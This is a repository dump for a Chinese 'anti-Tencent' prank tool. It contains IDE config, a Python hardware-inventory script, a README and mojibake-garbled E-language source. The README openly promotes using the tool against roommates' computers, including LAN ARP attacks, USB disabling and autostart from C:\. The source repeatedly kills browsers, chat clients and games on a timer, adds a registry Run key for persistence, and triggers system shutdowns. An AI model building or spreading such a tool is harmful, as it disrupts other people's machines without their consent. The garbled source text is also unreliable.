name=\"EMULATE_TERMINAL\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"Tox\" factoryName=\"Tox\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <module name=\"HWID\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"js.build_tools.gulp\" factoryName=\"Gulp.js\">\n      <node-interpreter>project</node-interpreter>\n      <node-options />\n      <gulpfile />\n      <tasks />\n      <arguments />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"js.build_tools.npm\" factoryName=\"npm\">\n      <command value=\"run\" />\n      <scripts />\n      <node-interpreter value=\"project\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"tests\" factoryName=\"Doctests\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"SCRIPT_NAME\" value=\"\" />\n      <option name=\"CLASS_NAME\" value=\"\" />\n      <option name=\"METHOD_NAME\" value=\"\" />\n      <option name=\"FOLDER_NAME\" value=\"\" />\n      <option name=\"TEST_TYPE\" value=\"TEST_SCRIPT\" />\n      <option name=\"PATTERN\" value=\"\" />\n      <option name=\"USE_PATTERN\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"tests\" factoryName=\"Unittests\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"_new_additionalArguments\" value=\"&quot;&quot;\" />\n      <option name=\"_new_target\" value=\"&quot;.&quot;\" />\n      <option name=\"_new_targetType\" value=\"&quot;PATH&quot;\" />\n      <method />\n    </configuration>\n    <list size=\"1\">\n      <item index=\"0\" class=\"java.lang.String\" itemvalue=\"Python.HWID\" />\n    </list>\n    <recent_temporary>\n      <list size=\"1\">\n        <item index=\"0\" class=\"java.lang.String\" itemvalue=\"Python.HWID\" />\n      </list>\n    </recent_temporary>\n  </component>\n  <component name=\"ShelveChangesManager\" show_recycled=\"false\">\n    <option name=\"remove_strategy\" value=\"false\" />\n  </component>\n  <component name=\"SvnConfiguration\">\n    <configuration />\n  </component>\n  <component name=\"TaskManager\">\n    <task active=\"true\" id=\"Default\" summary=\"Default task\">\n      <changelist id=\"aed64c64-2312-44d6-972f-b365b05aa8d8\" name=\"Default\" comment=\"\" />\n      <created>1488171921538</created>\n      <option name=\"number\" value=\"Default\" />\n      <option name=\"presentableId\" value=\"Default\" />\n      <updated>1488171921538</updated>\n    </task>\n    <servers />\n  </component>\n  <component name=\"ToolWindowManager\">\n    <frame x=\"0\" y=\"0\" width=\"1680\" height=\"1050\" extended-state=\"0\" />\n    <editor active=\"true\" />\n    <layout>\n      <window_info id=\"TODO\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"10\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Event Log\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.32901296\" sideWeight=\"0.5\" order=\"0\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Run Dashboard\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"11\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Version Control\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Python Console\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Run\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.32901296\" sideWeight=\"0.5\" order=\"6\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Terminal\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Project\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Database\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Structure\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Favorites\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"0\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Debug\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"7\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Data View\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"FLOATING\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Cvs\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"8\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Message\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Commander\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Inspection\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"9\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Hierarchy\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Find\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"5\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Ant Build\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n    </layout>\n    <layout-to-restore>\n      <window_info id=\"TODO\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"10\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Cvs\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"8\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Message\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Commander\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Event Log\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.32901296\" sideWeight=\"0.5\" order=\"0\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Run Dashboard\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"11\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Inspection\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"9\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Version Control\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Python Console\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Run\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.32901296\" sideWeight=\"0.5\" order=\"6\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Terminal\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Project\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"true\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Hierarchy\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Database\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Find\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"5\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Structure\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Ant Build\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Favorites\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"0\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Debug\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"7\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Data View\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"FLOATING\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n    </layout-to-restore>\n  </component>\n  <component name=\"TypeScriptGeneratedFilesManager\">\n    <option name=\"processedProjectFiles\" value=\"true\" />\n  </component>\n  <component name=\"VcsContentAnnotationSettings\">\n    <option name=\"myLimit\" value=\"2678400000\" />\n  </component>\n  <component name=\"XDebuggerManager\">\n    <breakpoint-manager />\n    <watches-manager />\n  </component>\n  <component name=\"editorHistoryManager\">\n    <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"19\">\n          <caret line=\"10\" column=\"49\" lean-forward=\"false\" selection-start-line=\"10\" selection-start-column=\"49\" selection-end-line=\"10\" selection-end-column=\"49\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n  </component>\n</project>"
  },
  {
    "path": "HWID/HWID.py",
    "content": "#!/usr/bin/env python2.7\n# -*- coding:utf-8 -*-\nimport os\nimport subprocess\nimport re\nimport hashlib\n\n\n# 对字典取子集\ndef sub_dict(form_dict, sub_keys, default=None):\n    return dict([(k, form_dict.get(k.strip(), default)) for k in sub_keys.split(',')])\n\n\n# 读取cpuinfo信息\n# dmidecode -t 4\ndef read_cpu_info():\n    cpu_stat = []\n    with open('/proc/cpuinfo', 'r') as f:\n        data = f.read()\n        for line in data.split('\\n\\n'):\n            cpu_stat.append(line)\n    return cpu_stat[-2]\n\n\n# 读取fdisk信息\ndef read_f_disk():\n    p = subprocess.Popen('fdisk -l', stdout=subprocess.PIPE, shell=True)\n    out = p.communicate()[0]\n    info = []\n    for i in out.split('\\n\\n'):\n        for x in i.splitlines():\n            if x:\n                info.append(x)\n    return info\n\n\n# 读取dmidecode信息\ndef read_dmi_decode():\n    p = subprocess.Popen('dmidecode -t 1', stdout=subprocess.PIPE, shell=True)\n    return p.communicate()[0]\n\n\n# 读取ifconfig信息\ndef read_ifconfig():\n    p = subprocess.Popen('ifconfig', stdout=subprocess.PIPE, shell=True)\n    return p.communicate()[0]\n\n\n# 返回cpu信息：CPU型号、颗数、核数\ndef get_cpu_info(data):\n    cpu_info = {}\n    for i in data.splitlines():\n        k, v = [x.strip() for x in i.split(':')]\n        cpu_info[k] = v\n\n    cpu_info['physical id'] = str(int(cpu_info.get('physical id')) + 1)\n    return sub_dict(cpu_info, 'model name,physical id,cpu cores')\n\n\n# 返回每块硬盘大小\ndef get_disk_info(data):\n    disk_info = {}\n    m_disk = re.compile(r'^Disk\\s/dev')\n\n    for i in data:\n        if m_disk.match(i):\n            i = i.split(',')[0]\n            k, v = [x for x in i.split(':')]\n            disk_info[k] = v\n    return disk_info\n\n\n# 返回硬件信息：品牌、型号\ndef get_dmi_info(data):\n    dmi_info = {}\n    line_in = False\n    for line in data.splitlines():\n        if line.startswith('System Information'):\n            line_in = True\n            continue\n        if line.startswith('\\t') and line_in:\n            k, v = [i.strip() for i in line.split(':')]\n            dmi_info[k] = v\n        else:\n            line_in = False\n    return sub_dict(dmi_info, 'Manufacturer,Product Name,Serial Number')\n\n\n# 返回网卡及ip信息：网卡、IP址、MAC地址\ndef get_ip_info(data):\n    data = (i for i in data.split('\\n\\n') if i and not i.startswith('lo'))\n    ip_info = []\n    ifname = re.compile(r'(eth[\\d:]*|wlan[\\d:]*)')\n    ipaddr = re.compile(\n        r'(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})(\\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})){3}')\n    macaddr = re.compile(r'[A-F0-9a-f:]{17}')\n    for i in data:\n        x = {}\n        if ifname.match(i):\n            device = ifname.match(i).group()\n            x['Adapter'] = device\n        if macaddr.search(i):\n            mac = macaddr.search(i).group()\n            x['MAC'] = mac\n        if ipaddr.search(i):\n            ip = ipaddr.search(i).group()\n            x['IP'] = ip\n        else:\n            x['IP'] = None\n        ip_info.append(x)\n    return ip_info\n\n\n# 返回内存及swap大小\ndef get_mem_info():\n    mem_info = {}\n    with open('/proc/meminfo', 'r') as f:\n        data = f.readlines()\n        for i in data:\n            k, v = [x.strip() for x in i.split(':')]\n            mem_info[k] = int(v.split()[0])\n    return sub_dict(mem_info, 'MemTotal,SwapTotal')\n\n\n# 返回操作信息\ndef get_os_info():\n    os_info = {}\n    i = os.uname()\n    os_info['os_type'] = i[0]\n    os_info['node_name'] = i[1]\n    os_info['kernel'] = i[2]\n    return os_info\n\n\n# 唯一标识符\ndef get_identity(data):\n    global serial, uuid\n    match_serial = re.compile(r\"Serial Number: .*\", re.DOTALL)\n    match_uuid = re.compile(r\"UUID: .*\", re.DOTALL)\n    if match_serial.search(data):\n        serial = match_serial.search(data).group()\n    if match_uuid.search(data):\n        uuid = match_uuid.search(data).group()\n    if serial:\n        serial_md5 = hashlib.md5(serial).hexdigest()\n        return serial_md5\n    elif uuid:\n        uuid_md5 = hashlib.md5(uuid).hexdigest()\n        return uuid_md5\n\n\nif __name__ == \"__main__\":\n    ip_info = get_ip_info(read_ifconfig())\n    dmi_info = get_dmi_info(read_dmi_decode())\n    cpu_info = get_cpu_info(read_cpu_info())\n    disk_info = get_disk_info(read_f_disk())\n    mem_info = get_mem_info()\n    os_info = get_os_info()\n    identity = get_identity(read_dmi_decode())\n\n    print ip_info\n    print dmi_info\n    print cpu_info\n    print disk_info\n    print mem_info\n    print os_info\n    print identity\n"
  },
  {
    "path": "README.md",
    "content": "# 小学生杀手+脑残防火墙= Fuck Tencent\n\n本产品不分版本使用易语言编写，杀毒软件可能会误报。\n> 呸，这软件都不让安装大流氓360了，能不报吗？\n\n如需要开机启动，请将压缩包内所有文件放于C：\\下，请勿放在C盘的文件夹下。\n> 放心使用吧，我不是周鸿祎那种流氓\n\nmacOS和Linux版本就在自己的电脑上运行python脚本就可以了，局域网ARP攻击棒棒哒。\n> 下一个版本开始封锁5000-5500端口，永久封印腾讯游戏\n\n## 为什么要有本软件\n\n作为一个学习党，总是被室友的打游戏的机械键盘声音吵到么，你还总是被室友的室友要被杀死的绝望叫声所震撼么，你还被室友输了游戏以后久久不能释怀的喃喃自语所心烦么。你还在因为室友们喜欢玩腾讯系游戏并且还喊麦。一玩一整天，通宵达旦不是事儿，极端影响睡眠和生活。特别是你想静下心来写代码的时候，身边一个傻逼在打LOL大声喊麦而烦恼吗？\n\n你是有多么想喂他一口翔吃，为了不让您过度愤怒杀了那些个天天玩腾讯系游戏的傻逼，和鼓励大家使用正版游戏（比如Steam和Origin或者Uplay上的大作），以及抵制一些劣质的、无耻的、打着安全知名行苟且之事的所谓杀毒软件，本产品应运而生。不要担心，不要害怕，人贱自有天收，我们来帮你了。\n\n## 本产品提供什么功能\n\n首先，不用说，肯定是提供了屏蔽一切腾讯系软件的功能：禁用QQ，禁用浏览器，禁用下载器，禁用音乐播放器，禁用QQ炫舞，禁止打开CF（穿越火线），禁止打开LOL（英雄联盟），禁止打开QQ飞车，禁止打开逆战，禁止打开DNF（地下城与勇士）。Windows 版本中我们还加入了禁用USB的功能。\n\n之后，我们我们会在下一个版本中：吊销腾讯、奇虎等流氓大厂的证书，让你的电脑永远不受流氓袭扰，也不会被傻逼破坏。\n\nOne more thing, macOS和Linux版本已经实现了隔山打牛的功能，欢迎大家尝试。\n\n## 依据相关法律法规，本项目除README.md外，不再更新。\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.1/源码.txt",
    "content": ".汾 2\n.ֿ֧ shellEx\n.ֿ֧ eAPI\n.ֿ֧ shell\n.ֿ֧ internet\n\n. ڳ1\n\n.ӳ _鿴2_\n\n (cmd /c start http://tieba.baidu.com/f?kw=%CF%D4%BF%A8, , 1)\n\n.ӳ _鿴3_\n\n (cmd /c start http://zj.zol.com.cn/, , 1)\n\n.ӳ _ť6_\n\n ()\n\n.ӳ ___\n\nעȼ (_.ȡھ (), ǩ1.ȡھ (), 1, #F8)\n\n.ӳ _ǩ1_¼, \n. һ, \n. , \n\n. (_.  )\n    _.  \n.\n    _.  \n.\n\n\n.ӳ _ť1_\n\nʱ1.ʱ  300\n\n\n.ӳ _ʱ1_¼\n\nֹ (qq.exe)\nֹ (txplatform.exe)\nֹ (qqexternal.exe)\n\n.ӳ _ť2_\n\nʱ2.ʱ  300\n\n.ӳ _ʱ2_¼\n\nֹ (crossfire.exe)\n\n.ӳ _ť3_\n\nʱ3.ʱ  300\n\n.ӳ _ʱ3_¼\n\nֹ (iexplore.exe)\nֹ (sogouexplorer.exe)\nֹ (The world .exe)\nֹ (Firefox.exe)\nֹ (opera.exe)\nֹ (360SE.exe)\nֹ (Chrome.exe)\nֹ (Safari.exe)\nֹ (Maxthon.exe)\nֹ (Netscape.exe)\nֹ (liebao.exe)\n\n.ӳ _ť4_\n\nʱ4.ʱ  300\n\n.ӳ _ʱ4_¼\n\nֹ (Thunder.exe)\nֹ (ThunderPlatform.exe)\nֹ (QQDownload.exe)\nֹ (flashget.exe)\n\n.ӳ _ѡ1_\n\n. (ѡ1.ѡ  )\n    Ϣ (ѡп! !ɡ, 0, )\n    дע (#ػ, software\\microsoft\\windows\\CurrentVersion\\Run\\Сѧɱ.exe, ȡĿ¼ ()  C:\\Сѧɱ.exe)\n.\n    Ϣ (رտ!ɡ, 0, )\n    ɾע (#ػ, software\\microsoft\\windows\\CurrentVersion\\Run\\Сѧɱ.exe)\n.\n\n\n.ӳ _ť5_\n\nʱ6.ʱ  300\n\n.ӳ _ʱ6_¼\n\nֹ (LolClient.exe)\n\n.ӳ _ť8_\n\nʱ7.ʱ  300\n\n.ӳ _ʱ7_¼\n\nֹ (QQSpeed_loader.exe)\n\n.ӳ _ť7_\n\n (1, , )\n\n\n.ӳ _ť9_\n\nʱ8.ʱ  300\n\n.ӳ _ʱ8_¼\n\nֹ (TGame.exe)\n\n.ӳ _ť12_\n\nʱ9.ʱ  300\n\n.ӳ _ʱ9_¼\n\nֹ (KuGou.exe)\nֹ (QQmusic.exe)\nֹ (kwmusic.exe)\nֹ (TTPlayer.exe)\nֹ (DUOMI.exe)\n\n.ӳ _ť13_\n\nʱ10.ʱ  300\n༭1.뷽ʽ  1\n༭2.뷽ʽ  1\n༭3.뷽ʽ  1\n༭4.뷽ʽ  1\n\n\n.ӳ _ʱ10_¼\n\nֹ (༭1.ݡ)\nֹ (༭2.ݡ)\nֹ (༭3.ݡ)\nֹ (༭4.ݡ)\n\n.ӳ _ť14_\n\nʱ10.ʱ  0\n\n.ӳ _ť17_\n\nʱ12.ʱ   (༭1.)  60000\n༭1.뷽ʽ  1\n\n\n.ӳ _ʱ12_¼\n\nرϵͳ (1, )\n\n.ӳ _ť11_\n\nʱ13.ʱ  300\n\n.ӳ _ʱ13_¼\n\nֹ (DNFchina.exe)\n\n.ӳ _ť10_\n\nʱ14.ʱ  300\n\n.ӳ _ʱ14_¼\n\nֹ (ui_launch_dx.exe)\n\n.ӳ _ť15_\n\n. (༭6.  )\n    Ϣ (벻ԿɿƲСѧŶ, 0, ʾ)\n.\n    ʱ (1000)\n    ʱ15.ʱ  3000\n    ʱ16.ʱ  0\n\n.\n\n\n.ӳ _ʱ15_¼\n\nǩ1.  ı (ȡQQ (༭6.))\n. (ǩ1.  ٶԿɡ)\n     (shutdown -s, , )\n.\n\n.\n\n\n.ӳ ȡQQ, ı, \n. QQ, ı\n.ֲ ı, ı\n.ֲ ָ, ı, , \"0\"\n\nı  ı (HTTPļ ( http://base.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg?uins=  QQ))\nָ  ָı (ı, #, )\nָ  ָı (ָ [ȡԱ (ָ)  1],   #  ,0]})  #, )\n. (ȡԱ (ָ)  0)\n     (ٲ)\n.\n (ָ [1])\n\n.ӳ _ʱ16_¼\n\nǩ15.  ı (ȡQQ (༭6.))\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.2/源码.txt",
